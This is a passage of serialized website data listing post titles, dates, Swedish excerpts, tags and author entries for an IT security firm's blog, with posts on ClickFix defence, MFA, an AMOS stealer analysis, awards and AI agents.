in":13310},{"display_name":13312,"avatar":13313,"permalink":13314,"linkedin":13315},{"display_name":13317,"avatar":13318,"permalink":13319,"linkedin":13320},{"display_name":13322,"avatar":13323,"permalink":13324,"linkedin":13325,"imageOffsetTop":13079},{"display_name":13327,"avatar":13328,"permalink":13329,"linkedin":13330,"imageOffsetTop":13079},{"display_name":13332,"avatar":13333,"permalink":13334,"linkedin":13335,"imageOffsetTop":13179},{"display_name":13337,"avatar":13338,"permalink":13339,"linkedin":13340,"imageOffsetTop":13179},{"display_name":523,"avatar":13342,"permalink":13343,"linkedin":13344,"imageOffsetTop":13179},{"display_name":13346,"avatar":13347,"permalink":13348,"linkedin":13349,"imageOffsetTop":13350,"imageOffsetLeft":13351},{"display_name":13353,"avatar":13354,"permalink":13355,"linkedin":13356,"imageOffsetTop":13357,"imageOffsetLeft":13358},{"display_name":13360,"avatar":13361,"permalink":13362,"linkedin":13363,"imageOffsetTop":13364,"imageOffsetLeft":13106},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":13424,"authors":13638},[13425,13442,13456,13470,13486,13499,13512,13525,13537,13553,13567,13582,13598,13609,13622],{"id":13426,"title":13427,"author":13428,"cta":494,"description":594,"hideInRecent":484,"layout":12942,"meta":13429,"moment":13434,"path":13435,"stem":13436,"tags":13437,"webcast":484},"content_sv/posts/2026-09-22-end-of-mfa-sms.md","Slutet för MFA-SMS",[13101],{"lang":12944,"date":13430,"categories":13431,"blogtitlepic":13432,"customExcerpt":13433},"2026-09-21",[12949],"head-conditional-access.jpg","Varför företag nu bör gå över till phishingresistenta och så långt möjligt lösenordsfria inloggningsmetoder.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[12949,13438,13439,13440,13441],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":13443,"title":13444,"author":13445,"cta":494,"description":594,"hideInRecent":484,"layout":12942,"meta":13446,"moment":13430,"path":13450,"stem":13451,"tags":13452,"webcast":484},"content_sv/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. När användaren är exploiten, och hur ni stoppar det",[13075,13095],{"lang":12944,"date":13430,"categories":13447,"blogtitlepic":13448,"customExcerpt":13449},[12949],"head-clickfix.jpg","ClickFix gör användare till sin egen angripare: ett förfalskat CAPTCHA, en copy-paste, och skadlig kod körs i minnet utan att något landar på disken. Hur Microsoft Defender upptäcker attacken, var detekteringen når sina gränser och hur ni stänger luckan med en RunMRU-hunt och fyra skyddslager.","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[13453,13454,13455],"Defender","SOC","Endpoint Security",{"id":13457,"title":13458,"author":13459,"cta":494,"description":594,"hideInRecent":484,"layout":12942,"meta":13460,"moment":13430,"path":13464,"stem":13465,"tags":13466,"webcast":484},"content_sv/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin och vardag på samma dator? Game Over.",[13236],{"lang":12944,"date":13430,"categories":13461,"blogtitlepic":13462,"customExcerpt":13463},[12949],"head-game-over-en.jpg","Varför en tenant inte räcker för CIO:er, och varför den andra sällan tänks med. Managed Red Tenant separerar administrativt arbete arkitektoniskt från kontorsmiljön, Managed Dark Tenant håller företaget handlingskraftigt när försvaret ändå faller. Vad det betyder för driftmodell, SOC-signal och bevisplikterna enligt NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[12949,13467,13468,13469],"Privileged Access","Zero Trust","NIS2",{"id":13471,"title":13472,"author":13473,"cta":494,"description":13474,"hideInRecent":484,"layout":12942,"meta":13475,"moment":13476,"path":13481,"stem":13482,"tags":13483,"webcast":484},"content_sv/posts/2026-08-08-isg-germany-2026.md","Fyra gånger Leader. glueckkanja i ISG-studien Tyskland 2026",[13263],"ISG har bytt namn på sin studie i år. Microsoft Cloud Ecosystem blev Microsoft AI and Cloud Ecosystem, och med namnet har måttstocken förskjutits: det som bedöms är inte längre vem som inför Microsoft-plattformar, utan vem som driver Copilot, agenter och AI-workloads kontrollerbart. På vår position har den nya måttstocken inte ändrat något. ISG Provider Lens®-studien Tyskland 2026 positionerar oss som Leader i fyra kvadranter: Microsoft Productivity and Business Process Services och Azure Managed Services, i både Large Market och Mid Market. Efter 2021, 2023, 2024 och 2025 är det den femte Leader-placeringen i Tyskland, i Schweiz kom steget in i Leader-kvadranten två veckor tidigare.",{"lang":12944,"date":13476,"categories":13477,"blogtitlepic":13479,"customExcerpt":13480},"2026-08-08",[13478],"Corporate","head-isg-de-2026.png","ISG Provider Lens®-studien 2026 positionerar glueckkanja i Tyskland som Leader i fyra kvadranter: Microsoft Productivity and Business Process Services och Azure Managed Services, i både Large och Mid Market. Studien heter nu Microsoft AI and Cloud Ecosystem, och måttstocken har förskjutits: det som bedöms är vem som driver AI- och agent-workloads kontrollerbart.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[13484,13485],"Award","ISG",{"id":13487,"title":13488,"author":13489,"cta":494,"description":13490,"hideInRecent":484,"layout":12942,"meta":13491,"moment":13492,"path":13496,"stem":13497,"tags":13498,"webcast":484},"content_sv/posts/2026-07-31-isg-switzerland-2026.md","Från Rising Star till Leader. glueckkanja i ISG-studien Schweiz 2026",[13263],"2024 grundade vi glueckkanja Switzerland AG och flyttade in i ett kontor i zentroom på Bahnhofplatz 10b i Bern. 2025 placerade ISG oss som Rising Star på den schweiziska marknaden, som den leverantör som analytikerna tror kan ta steget in i Leader-kvadranten. Nu är steget dokumenterat: ISG Provider Lens®-studien 2026 positionerar oss i Schweiz som Leader i kvadranten Microsoft AI and Cloud Ecosystem, inom områdena Azure Managed Services och Microsoft Productivity and Business Process Services.",{"lang":12944,"date":13492,"categories":13493,"blogtitlepic":13494,"customExcerpt":13495},"2026-07-31",[13478],"head-isg-ch-2026.png","ISG Provider Lens®-studien 2026 positionerar glueckkanja i Schweiz som Leader i kvadranten Microsoft AI and Cloud Ecosystem, inom områdena Azure Managed Services och Microsoft Productivity and Business Process Services. Två år efter marknadsinträdet i Bern, ett år efter Rising Star-utmärkelsen.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[13484,13485],{"id":13500,"title":13501,"author":13502,"cta":494,"description":594,"hideInRecent":484,"layout":12942,"meta":13503,"moment":13504,"path":13508,"stem":13509,"tags":13510,"webcast":484},"content_sv/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Vad OpenAI/Hugging-Face-incidenten avslöjar och vad den inte avslöjar",[13236],{"lang":12944,"date":13504,"categories":13505,"blogtitlepic":13506,"customExcerpt":13507},"2026-07-24",[12949],"head-outbreak.jpg","En AI-agent bryter sig ut ur sin testmiljö, hittar en zero-day och hackar ett annat företag. Låter som filmmanus, men hände faktiskt i juli 2026. Tid för en nykter placering: med lite psykologi, två security-veteraner och frågan om vad det betyder för ert försvar.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[13511,13454,13468],"AI",{"id":13513,"title":13514,"author":13515,"cta":494,"description":13516,"hideInRecent":484,"layout":12942,"meta":13517,"moment":13518,"path":13522,"stem":13523,"tags":13524,"webcast":484},"content_sv/posts/2026-07-22-isg-cybersecurity-2026.md","Leader och Rising Star. glueckkanja i ISG:s cybersecurity-studie 2026",[13263],"Ny i kvadranten och direkt Leader: ISG Provider Lens®-studien \"Cybersecurity – Services and Solutions 2026\" positionerar glueckkanja som Leader inom Next-Gen SOC/MDR Services för medelstora företag i Tyskland. I totalmarknaden för Next-Gen SOC/MDR Services utser ISG oss till Rising Star, alltså den leverantör som analytikerna tror kan ta steget in i Leader-kvadranten inom de närmaste 12 till 24 månaderna.",{"lang":12944,"date":13518,"categories":13519,"blogtitlepic":13520,"customExcerpt":13521},"2026-07-22",[13478],"head-isg-cybersecurity-2026.png","ISG Provider Lens®-studien Cybersecurity 2026 utser glueckkanja till Leader i kvadranten Next-Gen SOC/MDR Services (Midmarket). I totalmarknaden för Next-Gen SOC/MDR Services är vi Rising Star. ISG intygar att vi har tillväxt över snittet, djup Microsoft-security-expertis och ett 24/7-SOC från Tyskland.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[13484,13485,12949],{"id":13526,"title":13527,"author":13528,"cta":494,"description":13529,"hideInRecent":484,"layout":12942,"meta":13530,"moment":13531,"path":13534,"stem":13535,"tags":13536,"webcast":484},"content_sv/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: vad AI verkligen behöver för att arbeta",[13263],"Ett tillverkande företag vill veta vilka av dess 14 000 SKU:er som faktiskt är lönsamma. Svaret ligger i tre system som aldrig har utbytt en enda datapunkt med varandra. Fram till helt nyligen kostade det tre avdelningar, två veckor och en hel del god vilja att få fram det. Sedan början av 2026 kan en AI besvara den frågan på minuter: söka igenom data, upprätta samband, producera en rekommendation. Förutsatt att den har åtkomst.",{"lang":12944,"date":13531,"categories":13532,"blogtitlepic":13533},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[13511,131],{"id":13538,"title":13539,"author":13540,"cta":494,"description":13541,"hideInRecent":484,"layout":12942,"meta":13542,"moment":13543,"path":13547,"stem":13548,"tags":13549,"webcast":484},"content_sv/posts/2026-07-01-onboarding-process.md","Kontraktet är påskrivet: så går din onboarding till hos oss",[13353],"Hur går egentligen er onboarding till? En fråga som möter oss gång på gång i samtal med sökande, för många har redan varit med om att en onboarding går knaggligt. Desto viktigare är det för oss att ge dig en bra känsla från början.",{"lang":12944,"date":13543,"categories":13544,"blogtitlepic":13545,"customExcerpt":13546},"2026-07-01",[13478],"Onboarding_Blogheader","Kontraktet är påskrivet, det första stora steget är taget. Men hur går det vidare nu? Vi tar med dig bakom kulisserna på vår onboarding, från preboarding till första veckan i teamet.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[13550,13551,13552],"Employer Branding","Onboarding","Unternehmenskultur",{"id":13554,"title":13555,"author":13556,"cta":494,"description":13557,"hideInRecent":484,"layout":12942,"meta":13558,"moment":13559,"path":13563,"stem":13564,"tags":13565,"webcast":484},"content_sv/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: vi hör till",[13263],"I Microsofts partnerekosystem finns en hel rad erkännanden, och ändå skiljer sig Frontier Partner Badge i sin uppläggning från de övriga utmärkelserna. Den går inte att ansöka om, utan tilldelas på Microsofts initiativ till en exklusiv krets av partner som måste övertyga i flera discipliner parallellt, i stället för att briljera i en enda. Microsoft prövar därvid påvisad kompetens inom Cloud & AI Platforms, inom AI Business Solutions och inom Security på lika villkor, och vänder sig därmed till företag som inte uppfattar AI som ett påhäng på befintlig IT, utan som resultatet av en genomgående arkitektur som bär från identiteten via endpointen ända in i produktiv AI-drift.",{"lang":12944,"date":13559,"categories":13560,"blogtitlepic":13561,"customExcerpt":13562},"2026-06-26",[13478],"head-frontier-partner-badge.jpg","Sedan en tid tillbaka finns det en ny topputmärkelse i Microsoft AI Cloud Partner Program, Frontier Partner Badge. Microsoft tilldelar den uteslutande till en exklusiv krets av partner världen över som levererar bärkraftiga AI-projekt på hela Microsoft-stacken, från arbetsplatsen via molnplattformen och security ända in i själva AI-tillämpningen, och som har bevisat den ambitionen i praktiken. I DACH-området räknar den här gruppen bara en handfull företag, och vi är ett av dem.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[13484,13566,13511],"Microsoft Partner",{"id":13568,"title":13569,"author":13570,"cta":494,"description":13571,"hideInRecent":484,"layout":12942,"meta":13572,"moment":13573,"path":13577,"stem":13578,"tags":13579,"webcast":484},"content_sv/posts/2026-06-09-vair-run.md","160 kilometer för ett gott ändamål",[13360],"Söndag morgon, klockan 8:30, Holbeinsteg vid Main. Elva kollegor i enhetliga NinjaCat-tröjor, redo för Frankfurter Runden. Regn, blixt och åska inkluderat. Att springa för ett gott ändamål var motivation nog för att snöra på löparskorna trots det dåliga vädret.",{"lang":12944,"date":13573,"categories":13574,"blogtitlepic":13575,"customExcerpt":13576},"2026-06-08",[13478],"frankfurter-runden.png","Elva kollegor, 16 varv, 160 kilometer, ett åskoväder och en pallplats: glueckkanja var med på Frankfurter Runden 2026 och skänkte pengar till VAIR e.V. för varje sprunget varv. Föreningen bygger en inkluderande sport- och kulturpark i Offenbach.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[13580,13550,13581],"Top Arbeitgeber","Soziales Engagement",{"id":13583,"title":13584,"author":13585,"cta":494,"description":13586,"hideInRecent":484,"layout":12942,"meta":13587,"moment":13588,"path":13592,"stem":13593,"tags":13594,"webcast":484},"content_sv/posts/2026-04-10-incident-to-intelligence.md","Anatomin hos en okänd AMOS Stealer: Från larm till immunitet på timmar",[523],"När ett larm utlöses i vårt SOC börjar klockan ticka: inte bara för den drabbade kunden, utan för alla organisationer under vårt skydd. Det farligaste ögonblicket i dagens hotlandskap är the Intelligence Gap, tidsfönstret mellan den första användningen av en ny malware-variant och den dag branschen får kännedom om den.",{"lang":12944,"date":13588,"categories":13589,"blogtitlepic":13590,"customExcerpt":13591},"2026-04-10",[12949],"head-amos-stealer.png","En hittills odokumenterad AMOS-Stealer-variant komprometterade en macOS-endpoint. Inga kända hashvärden, inga C2-data i offentliga databaser. Vårt SOC monterade ner sex obfuskeringslager, extraherade alla indikatorer och distribuerade skyddet till alla SOC-kunder inom timmar, innan branschen ens hade sett samplet.","/posts/2026-04-10-incident-to-intelligence","posts/2026-04-10-incident-to-intelligence",[13065,13595,13596,13597,13066],"Incident Response","macOS Security","Malware Analysis",{"id":13599,"title":13600,"author":13601,"cta":494,"description":13602,"hideInRecent":484,"layout":12942,"meta":13603,"moment":13604,"path":13607,"stem":13608,"tags":494,"webcast":484},"content_sv/posts/2026-03-21-microsoft-edge-corporate-browser.md","Därför bör Edge vara er enda Corporate Browser",[13132],"Valet av webbläsare är i företagsmiljöer ett strategiskt beslut: det påverkar direkt hur mycket säkerhet och administrativ börda ni faktiskt har. Google Chrome var länge det närliggande alternativet, men Microsoft Edge har utvecklats till en webbläsare som griper direkt in i den befintliga stacken, framför allt när Microsoft 365 används och administrationen sker via Intune.",{"lang":12944,"date":13604,"blogtitlepic":13605,"customExcerpt":13606},"2026-03-21","head-microsoft-edge-default-browser.jpg","Inget företag har egentligen valt Chrome; den fanns bara där, med egen synklogik, egen kontohantering, eget policygränssnitt. Microsoft Edge däremot griper direkt in i den infrastruktur som ändå redan är igång: Entra ID, Intune, Defender. Det här inlägget visar hur bytet ser ut, hur Chrome via en Intune-policy omdirigeras till en landningssida och vad som faller bort när man slutar köra två webbläsare parallellt.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":13610,"title":13611,"author":13612,"cta":494,"description":13613,"hideInRecent":484,"layout":12942,"meta":13614,"moment":13615,"path":13619,"stem":13620,"tags":13621,"webcast":484},"content_sv/posts/2026-03-20-stryker-attack-intune-privilege.md","Ett adminkonto var allt som krävdes.",[13236],"Onsdag den 11 mars 2026. Medarbetare på Strykers kontor i 79 länder slog på sina datorer och fann dem tomma. Inloggningsskärmar ersatta med en logotyp. Företagsdatorer, tjänstemobiler, privata enheter som var registrerade i företagets BYOD-program – alla raderade samtidigt, över natten. Ingen ransomware, inga signaturer för skadlig kod, ingenting som ett endpoint-detection-verktyg hade kunnat upptäcka.",{"lang":12944,"date":13615,"categories":13616,"blogtitlepic":13617,"customExcerpt":13618},"2026-03-20",[12949],"head-stryker.jpg","Den 11 mars 2026 raderade Handala enheter i 79 länder, och allt som krävdes för det var ett komprometterat Intune-adminkonto. Ingen skadlig kod, ingen exploit, bara legitima hanteringsverktyg vända mot sina ägare. Vad som hände, varför det fungerade och vilka två arkitektoniska luckor som måste stängas.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,13467,13468],{"id":13623,"title":13624,"author":13625,"cta":494,"description":13626,"hideInRecent":484,"layout":12942,"meta":13627,"moment":13628,"path":13632,"stem":13633,"tags":13634,"webcast":484},"content_sv/posts/2026-03-16-ai-agent-hackathon.md","Sex Agents. Fyra veckor. Skarp drift.",[13263],"Hur många timmar per vecka lägger er IT-avdelning på uppgifter som en agent skulle kunna klara på minuter?",{"lang":12944,"date":13628,"categories":13629,"blogtitlepic":13630,"customExcerpt":13631},"2026-03-16",[13478],"head-ai-agent-hackathon.jpg","Sex företag, fyra veckors byggfas, sex fungerande AI Agents – det var den första glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa och lila logistik byggde i Copilot Studio agents som idag körs i produktion. Vad som blev resultatet och hur formatet fungerar.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[13511,13635,13636,13637],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":13639,"Fritz Zurhorst":13640,"Nadine Klein":13641,"Jan Geisbauer":13642,"Carolin Kanja":13646,"Anna Ulbricht":13647,"Annette Brauns":13648,"Pascal Asch":13649,"Steffen Schwerdtfeger":13650},{"display_name":13101,"avatar":13102,"permalink":13103,"twitter":13104,"linkedin":13105,"imageOffsetTop":13106,"imageOffsetLeft":13107},{"display_name":13075,"avatar":13076,"permalink":13077,"linkedin":13078,"imageOffsetTop":13079},{"display_name":13095,"avatar":13096,"permalink":13097,"twitter":13098,"linkedin":13099,"imageOffsetTop":13079},{"display_name":13236,"avatar":13237,"permalink":13238,"twitter":13239,"linkedin":13239,"imageOffsetTop":13079,"socials":13643},[13644,13645],{"text":13242,"href":13243},{"text":13245,"href":13246},{"display_name":13263,"avatar":13264,"permalink":13265,"twitter":13266,"linkedin":13267},{"display_name":13353,"avatar":13354,"permalink":13355,"linkedin":13356,"imageOffsetTop":13357,"imageOffsetLeft":13358},{"display_name":13360,"avatar":13361,"permalink":13362,"linkedin":13363,"imageOffsetTop":13364,"imageOffsetLeft":13106},{"display_name":523,"avatar":13342,"permalink":13343,"linkedin":13344,"imageOffsetTop":13179},{"display_name":13132,"avatar":13133,"permalink":13134,"linkedin":13135,"twitter":13136,"imageOffsetTop":13137,"imageOffsetLeft":13138},{"id":13070,"extension":13071,"meta":13652,"stem":8,"__hash__":13422},{"Pascal Asch":13653},{"display_name":523,"avatar":13342,"permalink":13343,"linkedin":13344,"imageOffsetTop":13179},1791383949474]